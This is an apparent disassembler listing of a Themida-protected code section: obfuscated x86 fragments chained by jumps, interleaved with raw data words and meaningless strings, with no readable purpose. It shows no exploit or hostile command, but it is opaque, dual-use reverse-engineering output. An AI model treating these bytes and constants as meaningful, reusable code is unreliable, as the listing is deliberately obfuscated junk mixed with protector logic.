--------------------------------------------------------------------------- dw 0EB81h dd 0AB246F6Dh, 315BD889h, 5D505AD0h, 8324048Bh, 0EE0104C4h dd 0C71BE95Dh, 1489FFFFh, 4B85024h, 50000000h, 5E242C81h dd 0E97EEA70h, 0FFFFC7A2h, 2B9h, 41632D00h, 0C8016C10h dd 10416305h, 0BEE9596Ch, 33FFFFBEh, 0C6E92404h db 0DEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55793B: ; CODE XREF: Themida_:005604C6j push ebx push dword ptr [esp+4] push dword ptr [esp] jmp loc_552A80 ; --------------------------------------------------------------------------- dd 0ED81F529h, 15986035h, 0FFCC9AE9h, 0FCE952FFh db 2Eh, 2 dup(0) byte_55795B db 0F7h ; DATA XREF: Themida_:00550704o dd 0E99C241Ch, 0FFFF904Bh, 52CCEC80h, 0EA800EB2h, 0D8FAE92Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557972: ; CODE XREF: Themida_:00564EA3j mov dl, al mov ch, dl pop edx push eax mov al, ch jmp loc_558C7D ; --------------------------------------------------------------------------- db 5Ah dd 4C281h, 0C2810000h, 2, 25F3E9h db 0 ; --------------------------------------------------------------------------- loc_557991: ; CODE XREF: Themida_:00559D22j pop ebx sub ebx, 0D664EE7Ah mov edx, ebx pop ebx push edi jmp loc_55B1EA ; --------------------------------------------------------------------------- db 68h, 2 dup(0) dd 1C290000h, 9AE95B24h, 81FFFFAEh, 4C6h, 24348700h, 2434FF5Ch dd 81242C8Bh, 4C4h, 5D545500h, 4EC81h, 9DE90000h db 0CCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5579D3: ; CODE XREF: Themida_:005578C6j pop eax sub bl, al push dx mov dh, 85h add bl, 0BAh add bl, 9Fh sub bl, dh sub bl, 9Fh sub bl, 0BAh pop dx movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- dd 0D5AEE961h db 2 dup(0FFh) word_5579F6 dw 34FFh ; DATA XREF: Themida_:005508BCo aYhg db '$Yhё',9,0 dw 8900h dd 0E954243Ch, 0FFFFE433h, 2C29BA52h, 0DEE93FA2h db 65h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557A13: ; CODE XREF: Themida_:00551464j push esi jmp loc_5605C7 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 42474FFh, 24048F5Bh, 8124248Bh, 4C4h, 687EE900h, 0F7810000h dd 2A05699Dh, 7E9D7F7h, 8100003Ch, 4ECh, 241C8900h, 0EA1C52BBh dd 245C3107h, 45DCE904h, 0D2F60000h, 0E9F3F280h, 0FFFFC56Fh dd 0B4154EBDh, 81D5F70Ah, 4BEAB5F5h, 0F2C181F5h, 29020A48h dd 0F2E981E9h, 8B020A48h, 0C483242Ch, 7D6FE904h, 15A0000h dd 142D5BD8h, 0E970720Ah, 0BE7h, 0B2E9C6FEh, 1FFFFFDh dd 0C38358C3h, 241C8704h, 2924248Bh, 243C8BFAh, 4C481h dd 0D7010000h, 0D705E9h db 0 ; --------------------------------------------------------------------------- loc_557AB9: ; CODE XREF: Themida_:0055C071j xor esi, 7E140B4Ah jmp loc_5648B1 ; --------------------------------------------------------------------------- loc_557AC4: ; CODE XREF: Themida_:00561AE2j mov esi, 1AD974F8h sub esi, 1F24635Eh jmp loc_560072 ; --------------------------------------------------------------------------- loc_557AD4: ; CODE XREF: Themida_:00552BF1j mov [esp], ebp jmp loc_555BCE ; --------------------------------------------------------------------------- loc_557ADC: ; CODE XREF: Themida_:0055EC37j mov ebx, esp push esi mov esi, 4 add ebx, esi pop esi push edi mov edi, 4 sub ebx, edi jmp loc_55D9E2 ; --------------------------------------------------------------------------- dword_557AF4 dd 240C8B66h, 8904EC83h, 0D3E92434h, 680000CFh, 7D25h ; DATA XREF: Themida_:005508C8o dd 57240489h, 9A7C96BFh, 8249E943h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557B16: ; CODE XREF: Themida_:00553BBEj pop ebx add esi, 0FA095FBDh sub ebx, esi pop esi jmp loc_564D65 ; --------------------------------------------------------------------------- db 0C1h, 0E2h, 7 dd 2675BE56h, 0EE810E36h, 0C7C1AFA9h, 815EF231h, 1EAh dd 68D2F700h, 716Ah, 0BD242C89h, 2FC50FCh, 0BC9AE9h db 0 ; --------------------------------------------------------------------------- loc_557B51: ; CODE XREF: Themida_:00555FA9j push esi xor dword ptr [esp], 5B3C3491h pop edi xor edi, 5B3C3491h pop esi add esi, edi mov edi, [esp] sub esp, 4 mov [esp], ebp push esp pop ebp add ebp, 4 jmp loc_562831 ; --------------------------------------------------------------------------- aYs db 'YИю<',0 db 0 ; --------------------------------------------------------------------------- loc_557B7F: ; CODE XREF: Themida_:0055541Bj push 14F0704Bh mov ebp, [esp] add esp, 4 jmp loc_55260F ; --------------------------------------------------------------------------- db 66h dd 6667B2BBh, 0E95FFB01h, 0B1F4h ; --------------------------------------------------------------------------- loc_557B9C: ; CODE XREF: Themida_:00555B52j mov ebp, 0B1E19D7h mov esi, 0B1E19DBh sub esi, ebp pop ebp sub ebp, esi push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 sub esp, 4 mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], edx jmp loc_558A78 ; --------------------------------------------------------------------------- loc_557BDB: ; CODE XREF: Themida_:00555DD5j and eax, ebp jmp loc_5523E2 ; --------------------------------------------------------------------------- dw 1433h aLI4HY db '$▀$$┴4$h',9,'Y',0 align 10h dd 81242489h, 42404h, 348B0000h, 0B8E95124h, 1FFFFA1h dd 2434FFE8h, 0FFDCE3E9h, 0C4815EFFh, 4, 31240C33h, 0C33240Ch dd 24248B24h, 0FF243489h, 5E042474h, 8B24048Fh, 0BF0F2424h dd 6B8668C8h, 61E90000h, 50000006h, 0FFA36DE9h, 0FF575EFFh dd 3C8B240Ch, 4C48324h, 81E38953h, 4C3h, 4EB8100h, 87000000h dd 0C6E9241Ch, 8B00002Fh, 0F1E9243Ch db 36h, 2 dup(0) byte_557C6B db 66h ; DATA XREF: Themida_:0055094Co dd 68240C8Bh, 4608h, 0FF9E61E9h db 0FFh ; --------------------------------------------------------------------------- loc_557C79: ; CODE XREF: Themida_:005617B2j pop eax add eax, edx jmp loc_552036 ; --------------------------------------------------------------------------- byte_557C81 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0055090Co dd 0C5EE924h, 20E90000h, 81FFFF8Dh, 1E0DDCEFh, 240C8B37h dd 6804C483h, 19CEh, 48E7E9h, 0E9815900h, 0FFFFFFFFh, 8107E9C1h dd 3011EDF1h, 81D9F701h, 0C62EDEE9h, 0D1E98153h, 89A9F1BAh dd 0D52959CAh, 8124148Bh, 4C4h, 81D52900h, 0B53DECC5h dd 0FF555A01h, 8B042474h, 0C481242Ch, 4, 8DEAE9h, 7FBB5300h dd 811CEA73h, 0FFFFFFC3h, 73E1E9FFh, 0F1290000h, 0E92434FFh dd 0FFFFFF05h, 6E4E956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557D0E: ; CODE XREF: Themida_:0056495Bj push 1FD4h jmp loc_562434 ; --------------------------------------------------------------------------- dd 9833E958h, 0BD55FFFFh, 0B4E74h, 60B7C581h, 48E905CAh dd 8900005Fh, 4C181E1h, 81000000h, 4C1h, 38E6E900h, 895C0000h dd 0A5E9240Ch, 55000032h, 712668h, 24248900h, 4240483h dd 4BB535Dh, 1000000h, 0C5835BDDh, 2DE95504h db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557D6B: ; CODE XREF: Themida_:0055C54Bj pop esp jmp loc_551310 ; --------------------------------------------------------------------------- db 66h, 8Bh, 1Ch db '$h\',27h,0 align 2 dw 0C89h dd 0E1CEE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557D82: ; CODE XREF: Themida_:0055C72Cj mov esp, [esp] mov [esp], ebx jmp loc_562281 ; --------------------------------------------------------------------------- loc_557D8D: ; CODE XREF: Themida_:005658CDj push edi mov edi, 507E02BCh sub edi, 6D8A6DB7h xor edi, 1AE71F34h jmp loc_554BD0 ; --------------------------------------------------------------------------- loc_557DA4: ; CODE XREF: Themida_:005580C5j push ecx jmp loc_564EA2 ; --------------------------------------------------------------------------- aS6 db ')ьИ#6',0 dd 2434FF00h, 5324148Bh, 5064E9h, 0C2E95200h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_557DC3: ; CODE XREF: Themida_:005646A7j sub edi, ecx pop ecx jmp loc_55A0D7 ; --------------------------------------------------------------------------- loc_557DCB: ; CODE XREF: Themida_:00564D60j push edi mov edi, 675F1FA8h neg edi or edi, 584B5B9Eh neg edi jmp loc_5565A4 ; --------------------------------------------------------------------------- loc_557DE0: ; CODE XREF: Themida_:0056571Dj pop eax pop ecx shr esi, 4 shr esi, 3 dec esi push eax mov eax, 0FF7F76h jmp loc_55559C ; --------------------------------------------------------------------------- dd 0E0D7CB9h, 81D1F760h, 639362F1h, 9C781C4h, 138786Ch dd 9EF81CFh, 5938786Ch, 68240C8Bh, 77ABh, 89240489h, 405E0h dd 81E90000h db 59h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557E27: ; CODE XREF: Themida_:0055C195j sub ecx, 1 neg ecx add ecx, 1 sub ecx, 61CDB2F0h add edx, ecx pop ecx mov edi, edx jmp loc_5558FE ; --------------------------------------------------------------------------- dw 0F581h dd 5491745Dh, 2AD1F581h, 0E9294219h, 14E1815Dh, 4974366Fh dd 0B5E9D9F7h db 0D4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557E5F: ; CODE XREF: Themida_:005647C9j pop edx add eax, ecx pop ecx jmp loc_5581B7 ; --------------------------------------------------------------------------- dd 8BD53158h, 0C4832414h, 5DEF0104h, 2D5E68h, 242C8900h dd 297F6852h, 815A6CA5h, 0A5297DEAh, 8809E96Ch, 79BD0000h dd 0E909E534h, 82FEh, 5F2434FFh, 8104C483h, 4C7h, 0EC835600h dd 24048904h, 0FFD0DEE9h db 0FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_55879C ; --------------------------------------------------------------------------- db 0E9h, 0E5h, 8Ah dd 0C89FFFFh, 8ADDE924h, 0EAC1FFFFh, 0E1B95104h, 122AB4Bh dd 0BE1FE9CAh, 7B680000h, 89000033h, 58542404h, 405h, 4EC8100h dd 89000000h, 0CDE92434h, 81000088h, 4E9h, 240C8700h, 8924248Bh dd 4DBA2414h, 8156FE39h, 150F8DE2h, 0A1C28140h, 8149014Bh dd 0FFFFFFEAh, 4E2C1FFh, 8108E2C1h, 0B51004C2h, 0AEE81AAh dd 105F909h, 0B22AE9D6h db 2 dup(0FFh) word_557F3E dw 34FFh ; DATA XREF: Themida_:00550820o dd 8FDBE924h, 7868FFFFh, 8900001Ah, 1FBD242Ch, 4546E418h dd 78E9EDD1h, 5D00006Ah, 6804C483h, 40DBh, 0BE243489h dd 53A80E5Bh, 850FE9h db 0 ; --------------------------------------------------------------------------- loc_557F71: ; CODE XREF: Themida_:0055D9B8j sub eax, 4E8709F4h pop edx and esi, eax jmp loc_55B3C5 ; --------------------------------------------------------------------------- dw 15Ch dd 2434FFCEh, 0F3E95359h db 0A9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557F8B: ; CODE XREF: Themida_:0055BCB1j pop edx push eax jmp loc_561A00 ; --------------------------------------------------------------------------- aQhT db 'Qh!`T',0 dd 83240C8Bh, 0E1C104C4h, 0A7C18108h, 89D46C41h, 0D52159CAh dd 0FFBD25E9h, 1F9DBDFFh, 0BBE2CD9h, 1E6183Dh, 555DE9EEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_557FC2: ; CODE XREF: Themida_:0055123Dj push eax mov eax, 5185003Dh jmp loc_563BB1 ; --------------------------------------------------------------------------- loc_557FCD: ; CODE XREF: Themida_:0055A8CFj xor edx, [esp] xor [esp], edx jmp loc_55E7C1 ; --------------------------------------------------------------------------- dd 4C5815Dh, 81000000h, 4C5h, 242C8700h, 0FFF33FE9h, 0E9F700FFh dd 2704h, 8743DF87h, 62B951DFh, 810EC465h, 402684C9h, 9E63E94Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55800A: ; CODE XREF: Themida_:0055B4D5j pop esp mov [esp], edx mov edx, 1 jmp loc_564E2A ; --------------------------------------------------------------------------- loc_558018: ; CODE XREF: Themida_:0055A1D0j pop ecx or eax, ebx mov ebx, [esp] add esp, 4 add eax, 0BA2BA4B5h push esi jmp loc_551C4D ; --------------------------------------------------------------------------- loc_55802F: ; CODE XREF: Themida_:00555B61j xchg esi, [esp] mov esp, [esp] add esp, 4 jmp loc_55F95C ; --------------------------------------------------------------------------- dd 0C2815A54h, 4, 0D438E9h, 24348B00h, 6804C483h, 1C63h dd 52243489h, 9530E6BAh, 8BD68977h, 0C4832414h, 0E9C38104h dd 29567C18h, 67B951F3h, 813EC829h, 4ECh, 24148900h, 0A721E9h dd 81E28900h, 4C2h, 0BA78E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558092: ; CODE XREF: Themida_:00555A4Aj mov [esp], edx push ebp jmp loc_56067F ; --------------------------------------------------------------------------- loc_55809B: ; CODE XREF: Themida_:0055876Aj xor ecx, [esp] mov esp, [esp] push 6473h mov [esp], ebx push eax mov al, dl push esi mov esi, esp add esi, 4 push eax mov eax, 4 sub esi, eax pop eax xchg esi, [esp] pop esp mov [esp], edx jmp loc_557DA4 ; --------------------------------------------------------------------------- loc_5580CA: ; CODE XREF: Themida_:00553BD7j sub esi, edx add esi, 76DF73CBh push dword ptr [esp] jmp loc_565C96 ; --------------------------------------------------------------------------- dw 0FD00h dd 8B4DED80h, 0C481241Ch, 4, 0E976EB80h, 0B8FDh ; --------------------------------------------------------------------------- loc_5580F0: ; CODE XREF: Themida_:005524DDj mov [esp], ebx jmp loc_552387 ; --------------------------------------------------------------------------- loc_5580F8: ; CODE XREF: Themida_:00563555j push 5549h mov [esp], edx jmp loc_553C1B ; --------------------------------------------------------------------------- db 68h, 0AFh, 66h dd 0C890000h, 7487B924h, 0BE56565Ah, 565A7485h, 0B9E9F129h db 0CBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55811F: ; CODE XREF: Themida_:0056441Fj inc ah add ah, 0B3h xor ah, 0A3h add bl, 9Dh add bl, ah jmp loc_55701D ; --------------------------------------------------------------------------- db 5Ch, 53h, 54h dd 4C3815Bh, 0E9000000h, 2F1Bh ; --------------------------------------------------------------------------- loc_558140: ; CODE XREF: Themida_:0055924Cj pop esi jmp loc_55F34E ; --------------------------------------------------------------------------- aISnl db '┴,$ИnL',0 align 2 loc_55814E: ; CODE XREF: Themida_:00556508j add edi, 51D4E62Eh mov ebp, edi mov edi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp xor esi, ebp jmp loc_552239 ; --------------------------------------------------------------------------- aSzi db 'Ё:И╖╗',0 align 10h a_sm db '_ИMю',0 align 2 aAaPsau db '─МЛPИ²u',0 dw 8100h aYu2ysjc db 'гуyu2YИjc',0 dw 6800h dd 79E2h, 0BA241489h, 40FE2E3Bh, 3970E9h, 0FFCE3100h, 0CE92434h db 9Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5581B7: ; CODE XREF: Themida_:00557E63j xchg eax, [esp] mov esp, [esp] pop dword ptr [esp] push dword ptr [esp] push dword ptr [esp] jmp loc_5599E8 ; --------------------------------------------------------------------------- db 8Bh dd 0E2E9240Ch, 0BDFFFFC2h, 59384C0Ah, 99E9DDF7h, 0F7000089h dd 7BC681DEh, 0C1041106h, 0DE907EEh, 1000010h, 23E955E8h dd 100008Fh, 0A660E9D7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5581FE: ; CODE XREF: Themida_:0055C360j sub ebp, 4B90501h add esi, ebp jmp loc_55ABA5 ; --------------------------------------------------------------------------- db 29h dd 89C381D3h, 0E9719733h, 0FFFFB894h, 5357E955h, 3C330000h dd 24248B24h, 9C2404D2h, 9B72E9h db 0 ; --------------------------------------------------------------------------- loc_55822D: ; CODE XREF: Themida_:0055D716j add edi, ebp jmp loc_5517D5 ; --------------------------------------------------------------------------- dword_558234 dd 9D1C77FFh, 11665866h, 0E99C2404h, 0FFFF876Bh ; DATA XREF: Themida_:00550910o ; --------------------------------------------------------------------------- loc_558244: ; CODE XREF: Themida_:005568EFj mov esi, esp jmp loc_556330 ; --------------------------------------------------------------------------- byte_55824B db 0FFh ; DATA XREF: Themida_:0055076Co dd 5CE92C77h db 87h, 2 dup(0FFh) byte_558253 db 0FFh ; DATA XREF: Themida_:00550748o dd 669D1C77h, 24041058h, 874DE99Ch, 0C481FFFFh, 4, 0E9E68956h dd 0FFFF8755h, 2DFC281h, 47687C6Dh, 89000040h, 1AE9240Ch db 4Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_558283: ; CODE XREF: Themida_:005616EEj add edi, 0FE571771h and eax, edi jmp loc_55E202 ; --------------------------------------------------------------------------- aBiFa0zs?v db '│КеFa0ZИ?V',0 align 4 dd 0E9240C89h, 0FFFF870Bh ; --------------------------------------------------------------------------- loc_5582A4: ; CODE XREF: Themida_:0055C754j pop ebx add ebx, 4 add ebx, 4 jmp loc_55AA47 ; --------------------------------------------------------------------------- db 81h dd 0A304246Ch, 296AE723h, 8104245Ch, 0A3042444h, 8B6AE723h dd 0C481241Ch, 4, 83242C8Bh, 0C58104C4h, 3D724E34h, 1EC7815Eh dd 52512E63h, 3A7E08BAh, 4E2C134h, 0FFCD8CE9h, 1C8B66FFh dd 5C07E924h, 5A680000h, 0E9000060h, 0FFFFA3E6h ; --------------------------------------------------------------------------- loc_558304: ; CODE XREF: Themida_:00556032j mov ebp, esi jmp loc_552477 ; --------------------------------------------------------------------------- db 55h dd 892F52BDh, 0E9E80166h, 0FFFFC75Dh ; --------------------------------------------------------------------------- loc_558318: ; CODE XREF: Themida_:00555DE5j push edi mov edi, esp jmp loc_55B03D ; --------------------------------------------------------------------------- loc_558320: ; CODE XREF: Themida_:00562E55j sub ebx, 6850590h add ebx, esi add ebx, 6850590h mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov ax, [esp] push 96Dh mov [esp], ebp push esp pop ebp jmp loc_552927 ; --------------------------------------------------------------------------- loc_558360: ; CODE XREF: Themida_:00551219j pop ecx add ecx, eax pop eax push ecx jmp loc_55736D ; --------------------------------------------------------------------------- aBCv?Sb db '│фC┌?ЙИ│╫',0 db 0 ; --------------------------------------------------------------------------- loc_558375: ; CODE XREF: Themida_:0055C164j push 6967h jmp loc_564C33 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 29A4E900h, 0B7530000h, 241FE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_558392: ; CODE XREF: Themida_:0056006Dj not ebx add ebx, 1 push esi mov esi, 1CF47AD9h jmp loc_5527F6 ; --------------------------------------------------------------------------- loc_5583A5: ; CODE XREF: Themida_:0055B0ECj add edx, 74641AF1h and edx, 4F0F1B50h not edx add edx, 0A3C08975h jmp loc_55258F ; --------------------------------------------------------------------------- dw 0C801h dd 0D101E959h, 74FF0000h, 8F5F0424h, 895C2404h, 5255240Ch dd 0FEBAh, 5AD58900h, 0E95DE989h, 0C8E5h ; --------------------------------------------------------------------------- loc_5583E4: ; CODE XREF: Themida_:00552024j shr eax, 0Ah xor eax, ecx xor eax, esi xor esi, eax jmp loc_559F1D ; --------------------------------------------------------------------------- dw 0E950h dd 0FFFFA627h ; --------------------------------------------------------------------------- loc_5583F8: ; CODE XREF: Themida_:0055AABEj ; Themida_:0055DF11j ... push 414Eh mov [esp], edx push ebx mov ebx, 24h push ebx jmp loc_55CC84 ; --------------------------------------------------------------------------- dd 15DEE01h, 0A2EE81DEh, 5B3B4B7Ch, 0E9243487h, 3190h ; --------------------------------------------------------------------------- loc_558420: ; CODE XREF: Themida_:00562A82j mov ebx, [esp] add esp, 4 sub esi, 1C511FD9h add esi, ecx add esi, 1C511FD9h jmp loc_565A20 ; --------------------------------------------------------------------------- db 89h, 0E6h, 81h dd 4C6h, 6801E900h, 0D60C0000h, 0FF8589E9h, 59CA29FFh dd 2414875Fh, 8924248Bh, 50E92404h, 0BDFFFF85h, 68E10C7Bh dd 37BDE9h db 0 ; --------------------------------------------------------------------------- loc_558469: ; CODE XREF: Themida_:00560355j sub ebp, 4D786108h jmp loc_56322E ; --------------------------------------------------------------------------- loc_558474: ; CODE XREF: Themida_:00552444j mov esp, [esp] mov [esp], ebx push dword ptr [esp] mov eax, [esp] push 5422h mov [esp], ebp mov ebp, esp jmp loc_55675A ; --------------------------------------------------------------------------- db 89h dd 0EC832434h, 242C8904h, 0FFA20AE9h, 7D84BAFFh, 0F2810129h dd 15E847A1h, 88AFE94Ah, 8B660000h, 0C483240Ch, 0E9545702h dd 6D5Fh ; --------------------------------------------------------------------------- loc_5584BC: ; CODE XREF: Themida_:00559CD1j add bl, 98h pop cx add bl, al push dx push small 48CCh mov [esp], ax mov ah, 8 push ebx mov bh, ah push 12DEh mov [esp], eax push ecx mov cl, bh mov al, cl jmp loc_564406 ; --------------------------------------------------------------------------- dd 0E9241C89h, 41AFh, 0C15BD901h, 0D3E905E9h, 8900005Fh dd 52552424h, 5F3172BAh, 0C55CE97Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_558506: ; CODE XREF: Themida_:0055F896j mov ebx, 4 add ecx, ebx mov ebx, [esp] add esp, 4 xchg ecx, [esp] jmp loc_55FA43 ; --------------------------------------------------------------------------- db 81h dd 7A3C242Ch, 4811D99h, 0DF0ACB24h, 0BDF3E935h, 0C330000h dd 876FE924h, 36680000h, 89000058h, 6DBA2414h, 0E92AD51Ah dd 0FFFFA9D3h, 8007E3C0h, 0DE30FDF3h, 51E9505Bh db 5Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_558557: ; CODE XREF: Themida_:00551720j mov [esp], ebp mov ebp, 4 add edi, 0E5B4576h add edi, ebp jmp loc_5647A9 ; --------------------------------------------------------------------------- aZs2m db 'ZИ2▄',0 align 2 loc_558572: ; CODE XREF: Themida_:0055A774j mov eax, ebp pop ebp add ebp, 61F0763Bh add ebp, eax sub ebp, 61F0763Bh push dword ptr [esp] pop eax jmp loc_552B54 ; --------------------------------------------------------------------------- dd 0E924148Bh, 9C69h, 0AFC68h, 24348900h, 12A68h, 0E93CE900h dd 0CD80FFFFh, 0BF5807Bh, 3059EF00h, 88525BF9h, 0E9D088CAh dd 0FFFFAF12h, 81E18951h, 4C1h, 4C18300h, 5C240C87h, 62A0BB53h dd 0BD5547FBh, 3E26171Ch, 3FAEED81h, 0BF5774F1h, 39225925h dd 87E9E7D1h, 0FFFFFFA6h, 0E9592434h, 6FBEh ; --------------------------------------------------------------------------- loc_5585F4: ; CODE XREF: Themida_:005577CEj add ebx, 4 xchg ebx, [esp] jmp loc_55DA73 ; --------------------------------------------------------------------------- loc_558602: ; CODE XREF: Themida_:00561BEEj mov esp, [esp] or eax, eax jz loc_565610 push 40D2h mov [esp], edx push 1Ch jmp loc_5574A8 ; --------------------------------------------------------------------------- db 51h dd 4B9h, 59CE2900h, 3194E9h db 0 ; --------------------------------------------------------------------------- loc_55862D: ; CODE XREF: Themida_:0055F75Fj push 5A67h mov [esp], ebp push 6AAEh jmp loc_562CCF ; --------------------------------------------------------------------------- db 54h dd 70BD555Bh, 536F8754h, 0FFCA73E9h, 24248BFFh, 29C56856h dd 4890000h, 46824h, 89580000h, 0F30158C6h, 0E459E95Eh db 2 dup(0FFh) word_55866A dw 8B66h ; DATA XREF: Themida_:005508E0o db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 1A37h jmp loc_565010 ; --------------------------------------------------------------------------- db 29h dd 0BA5251F0h, 1FD35CBEh, 415AD189h, 0AF7E9h db 0 ; --------------------------------------------------------------------------- loc_55868D: ; CODE XREF: Themida_:0055AADBj mov esp, [esp] ror word ptr [esp], cl pushf jmp loc_5509AF ; --------------------------------------------------------------------------- loc_55869A: ; CODE XREF: Themida_:00554CEBj mov [esp], ebp mov ebp, esp push ebx mov ebx, 5151080h push edx mov edx, 6756309Fh shr edx, 1 jmp loc_5540B1 ; --------------------------------------------------------------------------- dw 0ED81h dd 22516E96h, 8103EDC1h, 0B9742DF5h, 5DE8290Dh, 67EBE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5586CA: ; CODE XREF: Themida_:00565121j mov ecx, 202E393h jmp loc_564585 ; --------------------------------------------------------------------------- dd 3DC380h, 55CFE9F3h, 0C870000h, 24248B24h, 9C2424D2h dd 0FF82C2E9h, 5EF529FFh, 89EF8957h, 455BE9FBh, 0C3280000h dd 80B2EB80h, 0B60F9BEBh, 148B66C0h, 59545124h, 6A22BB53h dd 0C3815A89h, 0A57695E2h, 685BD901h, 128Dh, 0E9242C89h dd 0FFFFF338h, 705283BEh, 81D6F756h, 8FAD78F6h, 0E9F301A9h dd 554Ch ; --------------------------------------------------------------------------- loc_55873C: ; CODE XREF: Themida_:0055F2F4j xor ebp, 32C94496h add esi, ebp push dword ptr [esp] pop ebp push esi mov esi, esp push ecx mov ecx, 42E3734Ch sub ecx, 42E37348h jmp loc_55E07F ; --------------------------------------------------------------------------- loc_55875C: ; CODE XREF: Themida_:0055F151j push dword ptr [esp] jmp loc_563A70 ; --------------------------------------------------------------------------- loc_558764: ; CODE XREF: Themida_:0055EFC8j xor ecx, [esp] xor [esp], ecx jmp loc_55809B ; --------------------------------------------------------------------------- db 8Bh dd 0C481242Ch, 4, 0FFE08CE9h, 240487FFh, 0FFDDBAE9h db 0FFh ; --------------------------------------------------------------------------- loc_558785: ; CODE XREF: Themida_:0055A2E9j not ebp add ebp, 0C0CCA223h jmp loc_55EA0B ; --------------------------------------------------------------------------- word_558792 dw 8B66h ; DATA XREF: Themida_:00550890o dd 0E956240Ch, 85DCh ; --------------------------------------------------------------------------- loc_55879C: ; CODE XREF: Themida_:00557EC0j xchg ebp, [esp] pop esp push 633Ch jmp loc_561C30 ; --------------------------------------------------------------------------- loc_5587AA: ; CODE XREF: Themida_:00553BF0j push ebx mov ebx, 17087FFBh jmp loc_55D8C5 ; --------------------------------------------------------------------------- loc_5587B5: ; CODE XREF: Themida_:00557423j mov [esp], ebx jmp loc_55BF30 ; --------------------------------------------------------------------------- db 31h, 1Ch, 24h dd 0E9241C33h, 7F13h ; --------------------------------------------------------------------------- loc_5587C8: ; CODE XREF: Themida_:00555478j xor edi, 200C69B9h jmp loc_5525F6 ; --------------------------------------------------------------------------- loc_5587D3: ; CODE XREF: Themida_:00563FF1j add eax, edx jmp loc_5622C6 ; --------------------------------------------------------------------------- dw 489h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_55A0FD ; --------------------------------------------------------------------------- db 80h, 0EFh, 90h dd 89EF8058h, 0B353F0B1h, 0C3B551CEh, 284BED80h, 0EBC059EBh dd 0E9C3FE06h, 0FFFFE3EAh, 56241C89h, 0C681E689h, 4, 4853E9h dd 0D1BE5600h, 57670D43h, 0EF4C79BFh, 6835E962h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558826: ; CODE XREF: Themida_:0055F17Aj mov esp, [esp] push ecx push 4D4Bh mov [esp], esi push edx jmp loc_565C71 ; --------------------------------------------------------------------------- dd 0E9243C89h, 0FFFF9DD5h, 4F31E95Ch, 815D0000h, 8D0F1FC5h dd 3E5C118h, 39AAC581h, 505649FEh, 0BB5781B8h, 4E0C153h dd 0C5665A35h, 8BC689BFh, 0C4812404h, 4, 34FFF501h, 0C4835E24h dd 5DEB8904h, 6ADBF57h, 0FA010A3Ah, 76C2815Fh, 172E758h dd 76EA81DAh, 8172E758h, 3A06ADEAh, 9C99E90Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55889E: ; CODE XREF: Themida_:00557349j dec dh push cx mov cl, 39h jmp loc_55D6E9 ; --------------------------------------------------------------------------- loc_5588A9: ; CODE XREF: Themida_:00552CCDj pop ecx xchg esi, [esp] jmp loc_55B181 ; --------------------------------------------------------------------------- loc_5588B2: ; CODE XREF: Themida_:00560692j add [esp+8], ebx pop ebx add [esp+4], edx jmp loc_554972 ; --------------------------------------------------------------------------- dword_5588C0 dd 9D1C77FFh, 1CD25966h, 0E0E99C24h, 89FFFF80h, 81512424h ; DATA XREF: Themida_:00550730o dd 4ECh, 241C8900h, 0A36B7768h, 0E9435B39h, 0FFFFAD3Ch dd 43FB68h, 242C8900h, 0C581E589h, 4, 4EC8156h, 89000000h dd 4468240Ch, 8B2A983Ch, 0C481240Ch, 4, 2639F181h, 8B5159F0h dd 0C4832434h, 240C8B04h, 5E08950h, 4, 405h, 24048700h dd 63B4E95Ch, 0C1B10000h, 5966C800h, 592434FFh, 6804C483h dd 6ECh, 0B0240489h, 84686693h, 0C896653h, 0BF8DE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55895A: ; CODE XREF: Themida_:005519DCj add ebx, ecx pop ecx push edx push ebp push esi mov esi, 4AF52805h sub esi, 606259CEh sub esi, 87D9BD4Ch mov ebp, esi pop esi mov edx, 62B910EFh sub edx, 21926DBDh jmp loc_559D03 ; --------------------------------------------------------------------------- aOsO db 'OИЛ▌',0 align 2 dw 73B8h dd 0C12DBD13h, 0AF0507E0h, 816E4855h, 4ECh, 242C8900h dd 0AB6692BDh, 73ED8125h, 0C13A2B24h, 0ED8105EDh, 49A313FAh dd 5FADF581h, 0ED8143D4h, 71264FAEh, 295DE801h, 24048BC3h dd 6EECE9h, 56180500h, 0D8010266h, 6656182Dh, 4875B02h dd 6E7BE924h, 0F7BE0000h, 